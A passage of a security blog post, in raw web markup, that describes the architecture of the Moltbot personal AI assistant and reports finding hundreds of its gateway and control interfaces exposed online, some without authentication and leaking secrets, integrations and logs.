srcset="https://substackcdn.com/image/fetch/$s_!68p6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 424w, https://substackcdn.com/image/fetch/$s_!68p6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 848w, https://substackcdn.com/image/fetch/$s_!68p6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 1272w, https://substackcdn.com/image/fetch/$s_!68p6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!68p6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png" width="1456" height="908" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b3a77b5b-1a26-4208-9086-654903471be5_1572x980.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:908,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:141736,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!68p6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 424w, https://substackcdn.com/image/fetch/$s_!68p6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 848w, https://substackcdn.com/image/fetch/$s_!68p6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 1272w, https://substackcdn.com/image/fetch/$s_!68p6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">source: star-history.com</figcaption></figure></div><p><br>We spent time examining the <strong>real-world deployment surface</strong> of <a href="https://github.com/moltbot/moltbot">Moltbot</a> instances exposed on the public internet, not to single out the project, but to understand what happens when high-autonomy infrastructure is deployed the same way hobby projects often are: quickly, publicly, and without careful hardening.<br><br>What we found were familiar patterns, but with a much larger blast radius.</p><h2><strong>What Moltbot is (and how it works)</strong></h2><p></p><p>At a high level, Moltbot is an open-source personal AI assistant developed by <a href="https://steipete.me/">Peter Steinberger</a>, designed to operate across the communication channels people already use (e.g., WhatsApp, Telegram, Slack, Signal) and to run continuously.</p><p>From a security perspective, its architecture matters more than its feature set. The key components are:</p><ul><li><p><strong>Gateway<br></strong> An always-on process that acts as the control and execution plane, handling message routing, tool invocation, and integration plumbing. It is designed to run persistently until stopped.</p></li><li><p><strong>Control UI / Web surface<br></strong> The Gateway serves a browser-based control interface on the same port as its WebSocket interface (with configurable paths and prefixes). This is where integrations, credentials, and operational state are managed.</p></li><li><p><strong>Tools and integrations<br></strong> Depending on configuration, the agent can invoke local or system tools and connect to external services using OAuth tokens and API keys.</p></li></ul><pre><code>WhatsApp / Telegram / Slack / Discord / Google Chat / Signal / iMessage / BlueBubbles / Microsoft Teams / Matrix / Zalo / Zalo Personal / WebChat
               &#9474;
               &#9660;
&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;
&#9474;            Gateway            &#9474;
&#9474;       (control plane)         &#9474;
&#9474;     ws://127.0.0.1:18789      &#9474;
&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9516;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;
               &#9474;
               &#9500;&#9472; Pi agent (RPC)
               &#9500;&#9472; CLI (clawdbot &#8230;)
               &#9500;&#9472; WebChat UI
               &#9500;&#9472; macOS app
               &#9492;&#9472; iOS / Android nodes</code></pre><p>Together, the Gateway and Control UI form a <strong>privileged control plane for an autonomous system</strong>. If this plane is exposed and misconfigured, an attacker doesn&#8217;t just gain visibility-they can potentially inherit capability.</p><h2><strong>What we observed in the wild</strong></h2><p>Using common internet asset discovery tools (such as <a href="http://shodan.io">Shodan</a> and <a href="http://censys.io">Censys</a>), we identified <strong>hundreds of publicly accessible Clawdbot (now Moltbot) Gateway/Control instances</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YoGC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YoGC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 424w, https://substackcdn.com/image/fetch/$s_!YoGC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 848w, https://substackcdn.com/image/fetch/$s_!YoGC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 1272w, https://substackcdn.com/image/fetch/$s_!YoGC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YoGC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png" width="1456" height="555" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:555,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:239336,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YoGC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 424w, https://substackcdn.com/image/fetch/$s_!YoGC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 848w, https://substackcdn.com/image/fetch/$s_!YoGC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 1272w, https://substackcdn.com/image/fetch/$s_!YoGC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fccc3b1d2-21b6-4a20-86f3-599192fef35f_2538x968.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">source: shodan.io</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Gjrf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Gjrf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 424w, https://substackcdn.com/image/fetch/$s_!Gjrf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 848w, https://substackcdn.com/image/fetch/$s_!Gjrf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 1272w, https://substackcdn.com/image/fetch/$s_!Gjrf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Gjrf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png" width="1456" height="545" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:545,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:290275,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Gjrf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 424w, https://substackcdn.com/image/fetch/$s_!Gjrf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 848w, https://substackcdn.com/image/fetch/$s_!Gjrf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 1272w, https://substackcdn.com/image/fetch/$s_!Gjrf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7056731-6f52-41c5-a748-dda00966cbf4_2724x1020.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">source: censys.io</figcaption></figure></div><p>An important clarification up front:</p><p><strong>The majority of these publicly accessible instances appeared to have authentication configured.<br></strong>This is encouraging-but it does not eliminate risk.</p><p>Even authenticated, publicly reachable agent gateways remain <strong>high-value targets</strong>: they are long-lived services, connected to multiple tools, and often positioned near credentials, automation logic, and operational history.</p><p>More concerning, however, was that we also found <strong>instances that did not require authentication at all</strong>, or exposed sensitive artifacts through other means. With minimal exploration, we observed deployments exposing:</p><ul><li><p>Misconfigured control UIs allowing secret discovery, payload execution, and modification of the Moltbot configuration.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jZ4_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jZ4_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!jZ4_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!jZ4_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!jZ4_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jZ4_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png" width="692" height="389.25" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:692,&quot;bytes&quot;:341068,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jZ4_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!jZ4_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!jZ4_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!jZ4_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07c2106c-2dd3-4fca-b544-b690647e63b5_1920x1080.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p>Active integrations with services such as Slack, Gmail, Google calendar, social media accounts and other connected tools, exposing user PII.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KuiE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KuiE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!KuiE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!KuiE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!KuiE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KuiE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png" width="700" height="393.75" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/17718694-c356-459c-b60c-f805738ac29d_1920x1080.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:700,&quot;bytes&quot;:276646,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KuiE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!KuiE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!KuiE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!KuiE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17718694-c356-459c-b60c-f805738ac29d_1920x1080.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p>Directory listings exposed over HTTP, including operational logs and agent artifacts.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 